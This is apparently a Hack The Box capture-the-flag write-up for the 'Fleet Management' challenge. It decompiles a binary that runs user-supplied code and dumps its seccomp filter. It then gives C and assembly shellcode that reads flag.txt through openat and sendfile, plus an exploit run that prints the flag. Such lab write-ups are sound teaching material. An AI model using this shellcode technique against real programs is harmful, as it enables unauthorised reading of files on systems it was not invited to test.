Fleet Management
6 minutes to read
We are given a 64-bit binary called fleet_management:
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
If we open it in Ghidra, we will see this main function:
int main() {
  setup();
  fprintf(stdout, "%s %s Fleet Management System %s\n", &DAT_001023e5, &DAT_001020e9, &DAT_001023e0);
  fprintf(stdout, "\n%s[*] Loading . . .\n%s", &DAT_001020f1, &DAT_001020e9);
  sleep(2);
  menu();
  return 0;
}
It calls menu:
void menu() {
  long in_FS_OFFSET;
  undefined8 uVar1;
  char local_13 [3];
  undefined8 canary;
  canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
  memset(local_13, 0, 3);
  do {
    fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1b, stdout);
    fwrite("|                        |\n", 1, 0x1b, stdout);
    fwrite("|  [1] View the Fleet    |\n", 1, 0x1b, stdout);
    fwrite("|  [2] Control Panel     |\n", 1, 0x1b, stdout);
    fwrite("|  [3] User Settings     |\n", 1, 0x1b, stdout);
    fwrite("|  [4] Exit              |\n", 1, 0x1b, stdout);
    fwrite("|                        |\n", 1, 0x1b, stdout);
    fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1a, stdout);
    fwrite("\n[*] What do you want to do? ", 1, 0x1d, stdout);
    read(0, local_13, 2);
    switch(local_13[0]) {
    case '1':
      fprintf(stdout, "\n%s[*] Connecting to the Encrypted channel . . .\n%s", &DAT_001020f1, &DAT_001020e9);
      sleep(1);
      fprintf(stdout, "\n%s[*] Fetching Data . . .\n%s", &DAT_001020f1, &DAT_001020e9);
      sleep(1);
      uVar1 = 0x10166a;
      fwrite("\n=============================\n", 1, 0x1f, stdout);
      fprintf(stdout, "| %s PDS Thanatos - %s[%sActive%s]%s  |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9, uVar1);
      fprintf(stdout, "| %s CS Meteor    - %s[%sActive%s]%s  |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9);
      fprintf(stdout, "| %s LWS Proximo  - %s[%sActive%s]%s  |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1, &DAT_00102178, &DAT_001020e9);
      fprintf(stdout, "| %s STS Goliath  - %s[%sInactive%s]%s|\n", &DAT_00102180, &DAT_00102178, &DAT_00102211, &DAT_00102178, &DAT_001020e9);
      fwrite("=============================\n", 1, 0x1e, stdout);
      fwrite("\nKey:\n", 1, 6, stdout);
      fprintf(stdout, "%sPDS: Planet Destroyer Ship\n", &DAT_00102180);
      fwrite("CS: Combat Spaceship\n", 1, 0x15, stdout);
      fwrite("LWS: Light Weight Spaceship\n", 1, 0x1c, stdout);
      fprintf(stdout, "STS: Space Transportation Ship%s\n", &DAT_001020e9);
      break;
    case '2':
      fprintf(stdout, "\n%s[*] Authenticating . . .\n%s", &DAT_001020f1, &DAT_001020e9);
      sleep(1);
      fprintf(stdout, "\n%s[!] Error: You are not member of an authorized group.\n%s", &DAT_00102211, &DAT_001020e9);
      break;
    case '3':
      fprintf(stdout, "\n%s[!] Error: You should authenticate first.\n%s", &DAT_00102211, &DAT_001020e9);
      break;
    case '4':
      fprintf(stdout, "\n[*] Bye! %s\n", &DAT_00102380);
                    /* WARNING: Subroutine does not return */
      exit(0);
    case '9':
      beta_feature();
    default:
      fprintf(stdout, "\n%s[!] Error: Invalid Option.\n%s", &DAT_00102211, &DAT_001020e9);
    }
  } while (true);
}
This is a fairly large function, but the only option that seems to be insteresting is beta_feature (option 9):
void beta_feature() {
  code *__buf;
  
  __buf = (code *) malloc(0x3c);
  mprotect((void *) ((ulong) __buf & 0xfffffffffffff000), 0x3c, 7);
  read(0, __buf, 0x3c);
  skid_check();
  (*__buf)();
}
Basically, we have the chance to enter machine code instructions that will be executed. We can enter up to 0x3c (60) bytes. However, we are limited by skid_function, which implements some seccomp rules to allow specific syscall instructions:
void skid_check() {
  undefined8 uVar1;
  
  uVar1 = seccomp_init(0);
  seccomp_rule_add(uVar1, 0x7fff0000, 0x3c, 0);
  seccomp_rule_add(uVar1, 0x7fff0000, 0xe7, 0);
  seccomp_rule_add(uVar1, 0x7fff0000, 0x101, 0);
  seccomp_rule_add(uVar1, 0x7fff0000, 0x28, 0);
  seccomp_rule_add(uVar1, 0x7fff0000, 0xf, 0);
  seccomp_load(uVar1);
}
In order to enumerate these seccomp rules, we can use seccomp-tools:
$ seccomp-tools dump ./fleet_management
🛰  Fleet Management System 📡
[*] Loading . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
|                        |
|  [1] View the Fleet    |
|  [2] Control Panel     |
|  [3] User Settings     |
|  [4] Exit              |
|                        |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? 9
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x0000000f  if (A == rt_sigreturn) goto 0010
 0006: 0x15 0x03 0x00 0x00000028  if (A == sendfile) goto 0010
 0007: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0010
 0008: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
So, we are allowed to use sys_rt_sigreturn, sys_sendfile, sys_exit, sys_exit_group and sys_openat. There are quite a few websites that list all Linux x86_64 syscall instructions with the needed parameters and register configuration. For example, this one.
With the allowed syscall instructions, we can open the flag file (flag.txt) with sys_openat and send it to the stdout file descriptor with sys_sendfile. Additionally, we can exit with sys_exit.
So, sys_openat needs the following register setup:
- $rax = 0x101
- $rdihas a directory file descriptor
- $rsihas a pointer to the filename string
- $rdxhas some flags
- $rcxhas the mode of operation (this one can be omitted)
Specifically, we can go to man7.org and learn more about the meaning of the parameters:
int openat(int dirfd, const char *pathname, int flags);
There is an alias for a directory file descriptor called AT_FDCWD that represents the current working directory (more information at stackoverflow.com). Moreover, we will open the file as read-only (O_RDONLY).
Once we have sys_openat set, we will receive the file descriptor of the flag file as the return value in $rax. It will be the time to use sys_sendfile (actually, sys_sendfile64):
- $rax = 0x28
- $rdihas the output file descriptor (- 1, which represents- stdout)
- $rsihas the input file descriptor (the one returned by- sys_openat)
- $rdxhas an offset where to start reading (- 0)
- $rcxhas the count of bytes to send (for example,- 100)
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
For people that have not written any assembly, it might be useful to write a C program with the above setup, compile it and analyze the generated assembly instructions:
#include <fcntl.h>
#include <stdlib.h>
#include <sys/sendfile.h>
void main() {
  int fd;
  fd = openat(AT_FDCWD, "flag.txt", O_RDONLY);
  sendfile(1, fd, 0, 100);
  exit(0);
}
$ gcc test.c -O3 -o test
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
This is the generated assembly code (optimized due to -O3 flag in gcc):
$ objdump -M intel --disassemble=main test
test:     file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010a0 <main>:
    10a0:       f3 0f 1e fa             endbr64
    10a4:       50                      push   rax
    10a5:       58                      pop    rax
    10a6:       31 d2                   xor    edx,edx
    10a8:       48 8d 35 55 0f 00 00    lea    rsi,[rip+0xf55]        # 2004 <_IO_stdin_used+0x4>
    10af:       bf 9c ff ff ff          mov    edi,0xffffff9c
    10b4:       31 c0                   xor    eax,eax
    10b6:       48 83 ec 08             sub    rsp,0x8
    10ba:       e8 b1 ff ff ff          call   1070 <openat@plt>
    10bf:       bf 01 00 00 00          mov    edi,0x1
    10c4:       b9 64 00 00 00          mov    ecx,0x64
    10c9:       31 d2                   xor    edx,edx
    10cb:       89 c6                   mov    esi,eax
    10cd:       e8 ae ff ff ff          call   1080 <sendfile@plt>
    10d2:       31 ff                   xor    edi,edi
    10d4:       e8 b7 ff ff ff          call   1090 <exit@plt>
Disassembly of section .fini:
This is great, but let’s do the same with syscall instructions:
xor  rdx, rdx
push rdx
mov  rsi, 'flag.txt'  # as hexadecimal number
push rsi
mov  rsi, rsp
xor  rdi, rdi
sub  rdi, 100
mov  rax, 0x101
syscall
mov  rcx, 0x64
mov  esi, eax
xor  rdi, rdi
inc  edi
mov   al, 0x28
syscall
mov   al, 0x3c
syscall
Notice how I set $rsi to the pointer to "flag.txt\0", and also how $rdi = -100 (AT_FDCWD). I also optimized a bit the use of registers so that the generated shellcode is shorter.
If we enter the above shellcode in the fleet_management program, we will get the flag:
$ python3 solve.py 165.22.125.212:30121
[*] './fleet_management'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 165.22.125.212 on port 30121: Done
[*] Shellcode length: 0x38
[+] HTB{sh3llc0d3_45_4_b4ckd00r}
[*] Closed connection to 165.22.125.212 port 30121
The full exploit can be found in here: solve.py.